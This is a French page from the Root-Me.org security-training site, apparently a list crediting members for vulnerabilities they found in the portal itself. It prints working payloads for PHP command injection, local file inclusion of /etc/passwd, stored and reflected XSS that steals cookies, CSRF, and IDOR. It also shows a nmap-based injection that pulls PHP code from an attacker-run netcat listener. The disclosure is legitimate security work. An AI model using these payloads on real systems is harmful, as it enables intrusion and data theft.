-
Capture The Flag
-
Jeu consistant à exploiter des vulnérabilités affectant des logiciels de manière à s’introduire sur des ordinateurs pour (...)
dernierement
[2011-03] Calendrier [2010-09] CTF all the day -
-
Challenges
-
Quelques challenges de hack...
dernierement
[2012-02] Portable Document Format [2012-02] Hardened binary 6 [2012-02] Hardened binary 5 [2012-02] Hardened binary 4 [2012-02] Hardened binary 3 -
-
Communauté
-
Nous avons besoin de vous ! RootMe est une communauté qui démarre, nous sommes donc à la recherche de rédacteurs, de (...)
dernierement
[2010-12] Contribuer [2009-12] Membres [2009-11] Canal IRC [2006-03] Archives -
-
Documentation
-
Textes divers touchant à la sécurité informatique
dernierement
[2011-09] Java native code injection [2011-01] BSD Shellcoding [2010-12] ELF Injection [2010-04] Buffer Overflow et shellcodes [2010-03] La section dtors -
-
Informations
-
L’essentiel sur Root-Me.Org
dernierement
[2006-10] Site h4ck [2006-09] Partenaires [2006-09] Infos Légales [2006-06] Équipe -
-
Outils
-
Tout ce dont vous avez besoin pour vous exercer.
dernierement
[2006-06] Générateur de passe [2006-06] Coder - Décoder [2006-06] Whois [2006-02] superkit [2006-02] Solaris rootkit -
| 
|
IP :
38.107.179.221
Location :
Langue : en-us
Navigateur : CCBot/1.0 (+http://www.commoncrawl.org/bot.html)
Dernière mise à jour :
2012-02-20 09:28:09
Flux Dynamique
Membres : 1772Articles : 466Messages : 277Chat Box : 396Challengeurs : 1154
Autre point : on peut recuperer les fichiers de tous les challenges(droits laxiste, sshd NOT hardened)
contact vers l’exterieur (network,nc,git,sftp,...)
Comme n’importe quel système d’informations ce portail comporte des vulnérabilités...
[02/12/2009] real a identifier une injection de PHP sur la page poster.html. Cela permettait entre autre d’exécuter des commandes système avec les privilèges de l’utilisateur exécutant le serveur HTTP :
http://www.root-me.org/spip.php?page=poster&id_article=1'.system('pwd').' [02/02/2011] hello a identifié plusieurs vulnérabilités de type stored XSS, notamment dans le corps d’un message privé et sur les champs "login" et "nom" du formulaire d’inscription :
<script>[code javascript/vbscript]</script> [15/02/2011] essandre a identifié une vulnérabilité de type inclusion de fichiers locaux (LFI) permettant de lire le contenu de n’importe quel fichier accessible en lecture au serveur web :
http://www.root-me.org/squelettes/script/protection_acces_http.php?file=../../../../../../../etc/passwd [30/06/2011] elyfean a identifié une vulnérabilité de type CSRF sur la chatbox. Cela permettait entre autre de faire poster n’importe quoi à une personne authentifiée sur le portail visitant une page piégée avec ce code :
<form id="form" action="http//www.root-me.org/?lang=fr" method="post">
<input type=hidden name="ON" value="1">
<input type=hidden name="message" value="0wn3d !">
</form> [18/07/2011] g0uZ a identifié une vulnérabilité de type injection de code PHP sur la page "outils en ligne : nmap", permettant entre autre d’exécuter des commandes système avec les privilèges de l’utilisateur exécutant le serveur HTTP.
hôte a scanner en mode -sV :
--version-trace -p8888 [IP serveur maîtrisé]Service en écoute sur le serveur maîtrisé :
i=0; while [ $i -lt 5 ]; do nc -v -l -p 8888 -e '<?php [CODE PHP];?>'; i=$(( $i+1 )); done [02/10/2011] Hypnoze57 a identifié une vulnérabilité de type "référence indirecte à un objet non sécurisée" permettant de lire les messages privés de tous les membres :
http://www.root-me.org/spip.php?page=messagerie&id=write&repondre=[id_message_a_lire] [23/10/2011] courte66 a identifié une vulnérabilité de type reflected XSS sur la page "coder - décoder" :
Texte à décoder en base64 :
Jz4iPjxpbWcgc3JjPWxvbCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSkgLz4=
